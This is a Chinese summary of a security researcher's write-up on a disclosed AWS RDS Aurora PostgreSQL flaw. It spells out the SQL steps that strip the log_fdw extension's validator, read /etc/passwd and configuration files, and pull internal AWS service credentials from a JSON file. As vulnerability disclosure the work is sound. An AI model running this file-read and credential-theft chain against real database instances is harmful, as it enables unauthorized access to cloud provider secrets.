https://blog.lightspin.io/aws-rds-critical-security-vulnerability
通过使用 log_fdw (外部封装数据)扩展利用 RDS EC2 实例上的本地文件读取漏洞获得了内部 AWS 服务的凭证。
作者在应用了仅限于最近的 RDS 和 Aurora PostgreSQL,不包括旧版本。
Amazon RDS 即Amazon Relational Database Service (RDS) 是一种托管数据库服务,它支持多种不同的数据库引擎,例如MariaDB、MySQL,以及本文的主题:PostgreSQL。AWS 还维护自己的数据库引擎 Amazon Aurora,它与 PostgreSQL 和 MySQL 兼容。
使用 Amazon AuroraPostgreSQL 引擎创建了一个 Amazon RDS 数据库实例,并使用 psql 连接到数据库。从对数据库和预加载角色的一些基本探索开始。
注意,“postgres”用户不是真正的超级用户,它属于rds_superuser角色(类似于PostgreSQL超级用户角色,但有一些限制),不能运行系统命令、读取本地文件等。
我考虑过使用不受信任的语言来创建一个可以执行系统命令的函数,但是无法加载,例如plperlu或plpythonu
返回的错误提示建议查看rds.extensions配置参数(命令SHOW rds.extensions;)可看到log_fdw扩展。
9.6.2 及更高版本的 Amazon RDS for PostgreSQL 引擎支持log_fdw扩展。此扩展使用户能够使用 SQL 接口访问数据库引擎日志,并构建外部表,并将日志数据整齐地分成几列。
1. 获取 log_fdw 扩展并将日志服务器创建为外部数据包装器。
CREATE EXTENSION log_fdw;
CREATE SERVER log_server FOREIGN DATA WRAPPER log_fdw;
SELECT * FROM list_postgres_log_files() order by 1;
2. 选择一个日志文件,创建一个表并读取其内容。
SELECT create_foreign_table_for_log_file('my_postgres_error_log', 'log_server','postgresql.log');
SELECT * FROMmy_postgres_error_log;
首先想到的是尝试路径遍历。
SELECT create_foreign_table_for_log_file('my_postgres_error_log', 'log_server','../../../../../etc/passwd');
收到以下异常:“错误:指定的日志文件路径无效。”
想知道错误是由于相对路径还是由于某些验证功能而发生的。
SELECT create_foreign_table_for_log_file('my_postgres_error_log', 'log_server','./postgresql.log');
显然是功能验证问题。
一个外部封装数据需要实现2个功能。
处理函数——触发获取外部数据的动作
验证器功能(可选)——负责验证给外部数据包装器的选项,以及外部服务器和外部表的选项
AWS 为 log_fwd 创建了一个自定义外部数据包装器,其中包含一个处理函数和一个验证器函数。
SELECT * FROM pg_foreign_data_wrapper;
绕过log_fdw扩展验证
回到上面的路径遍历……验证可以发生在验证器功能、处理函数两者中。由于验证器功能是可选的,因此可以在不损坏功能的情况下删除它。
ALTER FOREIGN DATA WRAPPER log_fdw NO VALIDATOR;
现在再尝试
SELECT create_foreign_table_for_log_file('my_postgres_error_log', 'log_server','../../../../../etc/passwd');
SELECT * FROM my_postgres_error_log;
可以获取!
由于不再需要遍历,因此可以直接创建表:
CREATE FOREIGNTABLE demo (t text) SERVER log_server OPTIONS (filename '/etc/passwd');
SELECT * FROM demo;
发现 AWS 内部服务访问令牌
我花了一些时间检查系统文件,直到我在 PostgreSQL 配置文件中发现了一个有趣的参数,该参数没有通过使用 psql 显示出来。
PostgreSQL 配置文件位于“/rdsdbdata/config/postgresql.conf”。
CREATE FOREIGN TABLE demo(t text) SERVER log_server OPTIONS (filename '/rdsdbdata/config/postgresql.conf');
SELECT * FROM demo;
下面截图显示了“apg_storage_conf_file”的参数,它指向另一个名为“grover_volume.conf”的配置文件。
查看一下。
CREATE FOREIGN TABLE demo(t text) SERVER log_server OPTIONS (filename '/rdsdbdata/config/grover_volume.conf');
SELECT * FROM demo;
文件内容指向另一个文件“/tmp/csd-grover-credentials.json”。让我们看一下文件的内容
CREATE FOREIGN TABLE demo(t text) SERVER log_server OPTIONS (filename '/tmp/csd-grover-credentials.json');
SELECT * FROM demo;
该文件包括“CSD_GROVER_API_CREDENTIALS”类型的临时凭证。“publicKey”和“privateKey”值分别类似于 STS“AccessKeyId”和“SecretAccessKey”。
通过将访问密钥、秘密访问密钥和会话令牌导出到我的环境并使用 AWS 安全令牌服务 (STS) GetCallerIdentity API 进行验证,该 API 返回当前的用户 ID、账户 ID 和 Amazon 资源名称 (ARN)使用 IAM 凭证。从 ARN 中,我们可以看到假定的角色名称是 AWS 内部账户中的“csd-grover-role”。
在以上读取三个不同的文件时,能够发现一个内部 AWS 服务并获得对它的访问权限。至此分析结束。
详情阅读原文。